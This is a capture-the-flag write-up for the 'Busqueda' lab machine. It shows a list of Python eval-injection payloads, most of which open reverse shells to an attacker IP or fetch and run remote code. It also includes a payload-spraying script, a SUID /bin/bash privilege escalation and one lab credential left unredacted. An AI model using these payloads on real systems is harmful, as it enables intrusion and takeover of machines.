This machine starts off with a simple homepage where the user can search for a query and they can get redirected to a the site they selected. This website covers most commercial websites such as wikipedia, ebay, …
## Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -A -oN nmap_result 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 10:41 CEST
Nmap scan report for 10.10.11.208
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.05 seconds
Nothing too special here.
When looking around in the websites source code, we find the repository that is being used for the search functionality:
1
<p class="copyright">Powered by <a style="color:black" target='_blank' href="https://flask.palletsprojects.com">Flask</a> and <a style="color:black" target='_blank' href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a> </p><br>
When going through the repository (release versions)[https://github.com/ArjunSharda/Searchor/releases], we find that v2.4.2 has patched a security vulnerability. When we look at the PR for this, we see that our version (v2.4.0) contains an eval
statement:
What is this Pull Request About?
The simple change in this pull request replaces the execution of search method in the cli code from using eval to calling search on the specified engine by passing engine as an attribute of Engine class. Because enum in Python is a set of members, each being a key-value pair, the syntax for getting members is the same as passing a dictionary.
What will this Pull Request Affect?
This pull request removes the use of eval in the cli code, achieving the same functionality while removing vulnerability of allowing execution of arbitrary code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser...")
if copy:
click.echo("link copied to clipboard")
except AttributeError:
print("engine not recognized")
Foothold
We can use this information to start building our payload.
We catch the search request in burp and then created a payloads file. This file will contain different potential payloads, which we will then run via a python script. We first run the ‘test’ value, afterwards we try to perform a curl to see if we get a hit, then we try some reverse shell syntax. On the third payload, we managed to get a reverse shell.
payloads.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
'test'
'+__import__('os').system('curl 10.10.14.57')+'
'+__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.57 1234 >/tmp/f')+'
'+__import__('os').system('nc 10.10.14.57 1234 -e /bin/sh')+'
'+__import__('os').system('/bin/bash -i >& /dev/tcp/10.10.14.57/1234 0>&1')+'
'+__import__('os').system('0<&196;exec 196<>/dev/tcp/10.10.14.57/1234; /bin/bash <&196 >&196 2>&196')+'
'+__import__('os').system('sh -i >& /dev/tcp/10.10.14.57/1234 0>&1')+'
'+__import__('os').system('nc -c sh 10.10.14.57 1234')+'
';import os;os.system("curl 10.10.14.57");#'
";import os;os.system("curl 10.10.14.57");#"
"+import os;os.system("curl 10.10.14.57")+#"
';import+os;os.system("curl+10.10.14.57");#'
'+import+os;os.system("curl+10.10.14.57")+#'
'||import+os;os.system("curl+10.10.14.57")#'
'||import os;os.system("curl 10.10.14.57")#'
'__import__("os").system("curl 10.10.14.57")'
'+__import__('os').system('curl 10.10.14.57')+'
'+__import__('os').system('curl 10.10.14.57?$(whoami)')+'
'+__import__('os').system('curl http://10.10.14.57?$(whoami)')+'
'+__import__('os').system('curl http://10.10.14.57?$(whoami)')+'
'{}/{}{}{}?'.format('__im', 'port os\nos.', 'system("curl 10.10.14.57")', '')
';import subprocess;subprocess.call(["curl", "10.10.14.57"]);#'
';__import__("os").system("wget -O /dev/null http://10.10.14.57:80/")#'
'__import__("os").system("nc 10.10.14.57 1234 -e /bin/bash")'
'";import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.57",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
"import requests;import base64;exec(requests.get('http://10.10.14.57:80/shell.py').text.encode().decode('base64'))"
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.57",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
'__import__("os").system("nc 10.10.14.57 1234 -e /bin/sh")'
search.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import urllib.parse
url = "http://searcher.htb/search"
headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Content-Type":"application/x-www-form-urlencoded"}
def do_request(payload):
data = f"engine=Apple&query={payload}&auto_redirect="
response = requests.post(url, headers=headers, data=data)
print(f"{payload} - {response.status_code}")
with open("payloads.txt") as file:
for line in file:
payload = line.strip()
do_request(payload)
# Try encoded version, not necessary for this machine
do_request(urllib.parse.quote(payload))
Output
1
2
3
4
5
6
7
$ python3 search.py
'test' - 302
%27test%27 - 302
'+__import__('os').system('curl 10.10.14.57')+' - 302
%27%2B__import__%28%27os%27%29.system%28%27curl%2010.10.14.57%27%29%2B%27 - 404
'+__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.57 1234 >/tmp/f')+' - 302
Lateral Movement
Once we gain a shell, we can search around. In the /home/svc/
directory, we can see a .git
folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ls -lah
total 20K
drwxr-xr-x 4 www-data www-data 4.0K Apr 3 14:32 .
drwxr-xr-x 4 root root 4.0K Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 10 06:44 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 templates
$ ls
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
There we can find a config file that might contain interesting credentials.
1
2
3
4
5
6
7
8
9
10
11
12
$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1**REDACTED**2@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
We can use these credentials to login into svc and inspect further.
1
$ ssh svc@10.10.11.208
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
svc@busqueda:~$ whoami
svc
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
We notice the /opt/scripts/system-checkup.py
can be ran by root. By playing around with this script, we managed to pull out data from the running docker instances.
The Gitea instance:
1
2
3
4
5
6
7
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up About a minute 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up About a minute 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=y**REDACTED**h","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],...}}
We can do the same for the MySQL container:
1
2
3
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=j**REDACTED**F","MYSQL_USER=gitea","MYSQL_PASSWORD=y**REDACTED**h","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",...}}
We gained some more credentials we might be able to reuse later:
1
2
3
4
5
6
7
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=y**REDACTED**h"
"MYSQL_ROOT_PASSWORD=j**REDACTED**F",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=y**REDACTED**h",
"MYSQL_DATABASE=gitea"
At this point, there are a few routes you can take to move further but also a few rabbit holes.
MySQL
We now have access to the MySQL database, where we can export all the MySQL users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
svc@busqueda:~$ mysql -h 127.0.0.1 -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 146849
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from user;
In the user database we notice two accounts, along with their password hashes:
1
2
cody@gitea.searcher.htb
administrator@gitea.searcher.htb
This can be a rabbit hole as I wasted a lot of time trying to do privilege escalation from MySQL or trying to crack the hashes.
Git
Another route to progress was checking out the commits on the git repository we found earlier:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@busqueda:~$ git clone http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
Cloning into 'Searcher_site'...
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (5/5), done.
svc@busqueda:~$ cd Searcher_site/
svc@busqueda:~/Searcher_site$ git log
commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 (HEAD -> main, origin/main, origin/HEAD)
Author: administrator <administrator@gitea.searcher.htb>
Date: Sun Dec 25 12:14:21 2022 +0000
Initial commit
Again we notice there are two accounts:
1
2
cody@gitea.searcher.htb
administrator@gitea.searcher.htb
Gitea
We can go to gitea.searcher.htb
in the browser, if we add it to our /etc/hosts
file. We used one of the earlier found credentials to log into the administrator@gitea.searcher.htb
account. We can’t seem to be able to do any commits ourselves but we can now see the contents the files that can be ran as sudo.
system-checkup.py
We notice the logic of the system-checkup.py
script expects the “full-checkup” action to be provided ./full-checkup.sh
as an argument. We can create our own full-checkup.sh
script to execute arbitrary commands as sudo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
We can create a malicious script that will be executed by the sudo command we can add a SUID to /bin/bash
to make it execute commands as root.
When you run a command with SUID (Set User ID) permission, the command is executed with the privileges of the file owner instead of the privileges of the user who is running the command. This means that if a file has SUID permission and is owned by root, then any user who runs that file will effectively have root privileges for the duration of the command.
Another payload could be setting up a reverse shell in the script.
Weaponizing full-checkup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc@busqueda:~$ pwd
/home/svc
svc@busqueda:~$ vi full-checkup.sh
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
chmod +s /bin/bash
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup './full-checkup.sh'
[+] Done!
svc@busqueda:~$ bash -p
svc@busqueda:~# whoami
root
svc@busqueda:~# cat /root/root.txt
0f3**REDACTED**d32
Or we can set up a reverse shell to connect to our netcat
listener:
1
2
3
4
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.44/1234 0>&1
svc@busqueda:~/$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
We now have a root shell:
1
2
3
4
5
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.44] from (UNKNOWN) [10.10.11.208] 56760
root@busqueda:/home/svc/# cat /root/root.txt
0f3**REDACTED**d32